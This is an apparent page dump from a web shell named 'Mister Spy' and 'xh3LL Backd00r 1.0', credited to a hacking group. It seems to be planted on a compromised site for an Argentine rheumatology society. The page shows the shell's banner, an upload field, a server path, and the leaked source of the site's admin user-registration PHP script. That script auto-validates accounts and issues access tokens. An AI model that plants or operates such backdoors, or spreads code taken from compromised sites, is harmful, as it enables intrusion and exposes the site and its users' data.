Mister Spy Say ="Hello Kids ... :D" ___ ____ _ _____ | \/ (_) | | / ___| | . . |_ ___| |_ ___ _ __ \ `--. _ __ _ _ | |\/| | / __| __/ _ \ '__| `--. \ '_ \| | | | | | | | \__ \ || __/ | /\__/ / |_) | |_| | \_| |_/_|___/\__\___|_| \____/| .__/ \__, | | | __/ | |_| |___/ Bot Mister Spy V3
Mister Spy

Mister Spy

Current Path : /home/caballoscriollos/public_html/web/admin/
Upload File :
Current File : /home/caballoscriollos/public_html/web/admin/json-usuarios-add.php

<?php

require_once('../inc_library.php'); 

/* obtenemos datos enviados */
$Nombre 			= strval(utf8_decode($_REQUEST['Nombre']));
$Apellido			= strval(utf8_decode($_REQUEST['Apellido']));
$CodigoAreaTelefono	= strval(utf8_decode($_REQUEST['CodigoAreaTelefono']));
$Telefono 			= strval(utf8_decode($_REQUEST['Telefono']));
$CodigoAreaFax		= strval(utf8_decode($_REQUEST['CodigoAreaFax']));
$Fax 				= strval(utf8_decode($_REQUEST['Fax']));
$Email				= strval(utf8_decode($_REQUEST['Email']));
$IdProvincia		= intval($_REQUEST['IdProvincia']);
$Localidad			= strval(utf8_decode($_REQUEST['Localidad']));
$Validado			= true; //intval($_REQUEST['Validado']);
$Dni				= strval($_REQUEST['Dni']);
$Contrasenia		= strval($_REQUEST['password']);
$IdTipoUsuario		= TiposUsuarios::Medico;
$Submit				= (isset($_REQUEST['Submitted']));

/* declaramos e instanciamos variables necesarias */
$err		= 0;
$oUsuario 			= new Usuario();
$oUsuarios			= new Usuarios();
$oMedicos			= new Medicos();
$oDniRegistrados	= new DniRegistrados();

/* definimos cadena a mandar por get */
/* si el formulario fue enviado */
if ($Submit)
{
	/* validaciones... */
	if ($Nombre == '')
		$err |= 1;
	if ($Apellido == '')
		$err |= 2;
	if (!IsEmail($Email))
		$err |= 4;
	elseif ($oUsuarios->GetByEmail($Email, $IdTipoUsuario))
		$err |= 8;
	if (!IsDni($Dni))
		$err |= 16;
	//elseif ($oUsuarios->GetByDni($Dni, $IdTipoUsuario))
	//	$err |= 32;
	elseif (!($oDniRegistrados->GetByDni($Dni)))
		$err |= 64;

	/* si no hay errores... */
	if ($err == 0)
	{
		$oUsuario->IdTipoLista			= ListaTipos::Minorista;
		$oUsuario->Nombre 				= $Nombre;
		$oUsuario->Apellido 			= $Apellido;
		$oUsuario->CodigoAreaTelefono	= $CodigoAreaTelefono;
		$oUsuario->Telefono 			= $Telefono;
		$oUsuario->CodigoAreaFax		= $CodigoAreaFax;
		$oUsuario->Fax 					= $Fax;
		$oUsuario->Dni 					= $Dni;
		$oUsuario->Email 				= $Email;
		$oUsuario->IdProvincia 			= $IdProvincia;
		$oUsuario->Localidad 			= $Localidad;
		$oUsuario->Contrasenia 			= $Contrasenia;
		if ($Validado == true)
			$oUsuario->IdEstado 		= UsuarioEstados::Activo;
		else
			$oUsuario->IdEstado 		= UsuarioEstados::PendienteValidacion;
		$oUsuario->IdTipoUsuario		= $IdTipoUsuario;

		/* crea el usuario */
		$oUsuario = $oUsuarios->Create($oUsuario);

		$token = $oUsuario->GenerateRefreshToken();
		$accessToken = $oUsuario->GenerateAccessToken();
			
		header('Content-type: application/json');
		echo json_encode(array("Success" => true, "Error" => "", "result" => true, 'data' => $oUsuario, 'accessToken' => $accessToken, 'token' => $token));
	}
	elseif( $err & (1 << 3) ) 
	{
		header('Content-type: application/json');
		echo json_encode(array("Success" => false, "Error" => utf8_encode("El email ingresado ya fue utilizado otro usuario.")));
	}
	elseif( $err & (1 << 5) ) 
	{
		header('Content-type: application/json');
		echo json_encode(array("Success" => false, "Error" => utf8_encode("El nro. documento ya fue utilizado por otro usuario.")));
	}
	elseif( $err & (1 << 6) ) 
	{
		header('Content-type: application/json');
		echo json_encode(array("Success" => false, "Error" => ("Ud. no puede acceder a esta aplicación, comuniquese con la Sociedad Argentina de Reumatología.")));
	}
	else
	{
		header('Content-type: application/json');
		echo json_encode(array("Success" => false, "Error" => utf8_encode("Los datos ingresados no son correctos")));
	}
}

?>

Mr. DellatioNx196 GaLers xh3LL Backd00r 1.0, Coded By Mr. DellatioNx196 - Bogor BlackHat